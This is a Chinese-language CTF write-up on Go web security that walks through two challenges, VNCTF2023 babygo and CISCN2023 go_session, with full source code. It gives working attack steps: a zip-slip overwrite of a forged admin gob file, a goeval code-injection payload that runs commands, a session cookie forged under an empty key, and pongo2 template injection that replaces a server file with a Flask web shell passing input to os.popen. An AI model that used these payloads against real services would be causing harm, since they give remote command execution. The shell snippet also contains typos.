0%

从两道ctf go题目学习go安全

复现两道go安全的题目

VNCTF2023 babygo

  • buu上复现

涉及到go的反序列化+目录穿越

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
package main

import (
"encoding/gob"
"fmt"
"net/http"
"os"
"path/filepath"
"strings"

"github.com/PaulXu-cn/goeval"
"github.com/duke-git/lancet/cryptor"
"github.com/duke-git/lancet/fileutil"
"github.com/duke-git/lancet/random"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)

type User struct {
Name string
Path string
Power string
}

func main() {
r := gin.Default()
store := cookie.NewStore(random.RandBytes(16))
r.Use(sessions.Sessions("session", store))
r.LoadHTMLGlob("template/*")

r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
session.Set("shallow", userDir)
session.Save()
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
return
}
c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
})

r.GET("/upload", func(c *gin.Context) {
c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
})

r.POST("/upload", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
fileutil.CreateDir(userUploadDir)
file, err := c.FormFile("file")
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
return
}
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
return
}
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
return
}
c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
})

r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath) //destPath是解压后的文件存放位置,path可以进行目录超越,决定存放位置 解压到什么路径下呢?
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
})

r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
return
}
})

r.Run(":80")
}

分别分析四个路由

(直接看源代码比较费劲,可以结合前端一起看)

  • / 生成一个userDir (/tmp/8208232cb3a94a0c7bc478afdf7feae7/),其中关注下面这段代码,在userDir路径下生成一个user.god,Power为low(后面有用)
1
2
3
4
5
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)

image-20230602122114987

  • /upload 一个简单的文件上传点,.god 和 .go 类型不能上传

  • /unzip 如果在/upload下上传的是zip文件,则进行解压。

关注fileutil.Unzip() ,将userUploadDir+file路径的文件解压后放到destPath路径下,

destPath := filepath.Clean(userUploadDir + c.Query("path")) 可以看到path参数可控,如果上传是?path=../ 则穿越到了前面user.god存放的路径。

1
2
3
4
5
6
userUploadDir := session.Get("shallow").(string) + "uploads/"
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)

这里就可以对user.god进行文件覆盖,解题思路就是先/upload上传一个将user.god压缩的user.zip,然后/unzip利用目录穿越,放到/tmp/8208232cb3a94a0c7bc478afdf7feae7/路径下,在/backdoor返回Good说明利用成功,用pkg参数命令执行

  • user.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package main

import (
"encoding/gob"
"os"

"github.com/duke-git/lancet/fileutil"
)

type User struct {
Name string
Path string
Power string
}

func main() {
userDir := ""
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "admin"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
}

  • /backdoor 最后在/backdoor处进行利用
1
2
3
4
5
6
7
8
9
file, _ := os.Open(userDir + "user.gob")    //打开了/tmp/8208232cb3a94a0c7bc478afdf7feae7/路径下的user.god

if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return

Power = admin时才会返回Good。然后pkg参数可以传值 ,进行命令注入 参考 goeval代码注入

1
?pkg=\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1

CISCN2023 初赛 go_session

构造session+pongo2进行模板编译时如何利用(利用方法类似python中的ssti)

分析源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package route

import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

获得session_key可以伪造session,然后访问/index。其中/flask?name=/ 发现开启了debug /app/server.py可用于可续利用

猜测session_key为空,本地伪造session-name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var store = sessions.NewCookieStore([]byte(""))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}

if session.Values["name"] == nil {
session.Values["name"] = "admin" //通过本地环境获取session-name 其中name值为admin, 进而访问admin
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, admin")
}
//MTY4NTYzNzAzOHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzjiKnqOZb_8Re4VMljE_Jx_5kTFNgNBRTeWQGagS7Srg==

/admin 路由中

1
out, err := tpl.Execute(pongo2.Context{"c": c})

引入pongo2包,可以进行ssti,类似与python中的ssti。利用方法参考这篇文章

https://www.imwxz.com/posts/2b599b70.html#template%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7

其中xssWaf := html.EscapeString(name)将引号过滤了,考虑其他方法传入字符串。

1
?name={{c.SaveUploadFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}}

传入字符串/app/server.py覆盖原来的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flash import Flask, request
import os

app = Flask(__name__)

@app.route("/shell")
def shell():
cmd = request.args.get("cmd")
if cmd:
return os.popen(cmd).read
else:
return "null"


if __name__ == "__main__":
app.run(host = "127.0.0.1", port = 5000, debug = True)

然后访问/flask?name=/shell?name=ls